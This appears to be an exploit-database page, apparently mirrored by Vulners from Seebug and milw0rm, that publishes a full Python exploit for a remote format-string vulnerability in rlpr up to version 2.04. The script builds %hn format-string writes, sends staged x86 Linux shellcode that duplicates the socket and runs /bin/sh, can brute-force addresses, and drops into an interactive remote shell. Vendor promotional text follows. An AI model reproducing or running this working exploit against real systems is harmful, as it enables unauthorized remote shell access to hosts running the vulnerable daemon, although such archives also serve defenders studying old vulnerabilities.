Lucene search
K

rlpr <= 2.04 msg() Remote Format String Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

Remote Format String Exploit in rlpr <= 2.04 msg() with custom shellcode and target identificatio

Code

                                                # by jaguar
#!/usr/bin/python
import os, sys, socket, struct, time, telnetlib

class rlprd:
fd = None
pad = 2 

#00000000  31DB              xor ebx,ebx
#00000002  F7E3              mul ebx
#00000004  B003              mov al,0x3
#00000006  80C304            add bl,0x4
#00000009  89E1              mov ecx,esp
#0000000B  4A                dec edx
#0000000C  CC                int3
#0000000D  CD80              int 0x80
#0000000F  FFE1              jmp ecx

# read(4, esp, -1); jmp ecx
lnx_readsc = &#34;\x31\xdb\xf7\xe3\xb0\x03\x80\xc3\x04\x89\xe1\x4a\xcd\x80\xff\xe1&#34;
lnx_stage_one = &#34;\x90&#34; * (23 - len(lnx_readsc)) + lnx_readsc
# dup2 shellcode(4-&#62;0,1,2)
lnx_stage_two  = &#34;\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xb2\x3f\x88\xd0\xb3\x04&#34; 
lnx_stage_two += &#34;\xcd\x80\x89\xd0\x41\xcd\x80\x89\xd0\x41\xcd\x80&#34;
# execute /bin/sh 
lnx_stage_two += &#34;\x90&#34; * 100
lnx_stage_two += &#34;\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68&#34;
lnx_stage_two += &#34;\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89&#34;
lnx_stage_two += &#34;\xe1\x8d\x42\x0b\xcd\x80&#34;

targets = [ [ 0 ], [ &#34;Compiled test platform&#34;, 0x0804c418, 0xbffff9e8 ] ] 

bruteforce = 0

def __init__(self, host, os, target, port=7290):
self.host = host
self.port = port

set = 0
if(os == &#34;linux&#34;):
set = 1
self.stage_one = self.lnx_stage_one
self.stage_two = self.lnx_stage_two

if(set == 0):
print &#34;Unknown OS&#34;
os._exit()

self.os = os

if(target == 0):
self.bruteforce = 1
else: 
self.args = self.targets[target]

def wl16(self, write_byte):
write_byte += 0x10000
self.already_written %= 0x10000
padding = (write_byte - self.already_written) % 0x10000
if(padding &#60; 10):
padding += 0x10000

self.already_written += padding

return padding

def connect(self):
#if self.fd is not None:
# self.fd.close()
# self.fd = None

self.fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
self.fd.connect((self.host, self.port))

def exploit(self, where, what):
if(not self.fd or self.fd is None): self.connect()
self.already_written = len(&#39;gethostbyname(&#39;)

#print &#34;# of nops: %d\n&#34; % (23 - len(self.readsc))

exploit = &#34;x&#34; * self.pad
self.already_written += self.pad

exploit += struct.pack(&#34;&#60;l&#34;, where)
exploit += struct.pack(&#34;&#60;l&#34;, where + 2)
self.already_written += 8 

l = self.wl16(what & 0xffff)
fill = &#34;%1$&#34; + str(l) + &#34;u&#34;
exploit += fill

exploit += &#34;%7$hn&#34;

l = self.wl16(what &#62;&#62; 16)
fill = &#34;%1$&#34; + str(l) + &#34;u&#34;
exploit += fill

exploit += &#34;%8$hn&#34;

#print &#34;[*] Format string: (%s) Len: %d&#34; % (exploit, len(exploit))
#print &#34;[*] Stage 1 length: %d&#34; % len(self.stage_one)

#time.sleep(5)
try:
self.fd.send(exploit + self.stage_one + &#34;\n&#34;)
self.fd.send(self.stage_two)
time.sleep(1)
self.fd.send(&#34;echo spawned; uname -a; id -a;\n&#34;)
print &#34;Recieved: &#34; + self.fd.recv(1024)
except:
self.fd.close()
self.fd = None 
print &#34;\tFailed @ 0x%08x&#34; % what
return 0

remote = telnetlib.Telnet()
remote.sock = self.fd
print &#34;[*] You should now have a shell&#34;
remote.interact()
os.exit(0)

def force(self, where, high, lo):
for i in range(high, lo, -8):
r.exploit(where, i)

def run(self):
if(self.bruteforce):
print &#34;Bruteforcing..&#34;
#print &#34;not implemented yet&#34;
#os._exit(1)
for i in range(0x0804c000, 0x0804d000, 0x100 / 6):
print &#34;Trying: 0x%08x&#34; % i
self.force(i, 0xbffffa00, 0xbffff9c0)

#self.exploit(self.args[1], self.args[2])

if __name__ == &#39;__main__&#39;:
if(len(sys.argv) != 4):
print &#34;%s host [linux] targetid&#34;
print &#34;- 0 to brute force&#34;
print &#34;- 1 custom compile&#34;
os._exit(0)

print &#34;%s-%s-%s&#34; % (sys.argv[1], sys.argv[2], sys.argv[3])
r = rlprd(sys.argv[1], sys.argv[2], int(sys.argv[3]))
#r.exploit(0x0804c418, 0xbffff9e8)
#r.force(0x0804c418, 0xbffffa00, 0xbffff800)
r.run()


# milw0rm.com [2004-06-25]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
11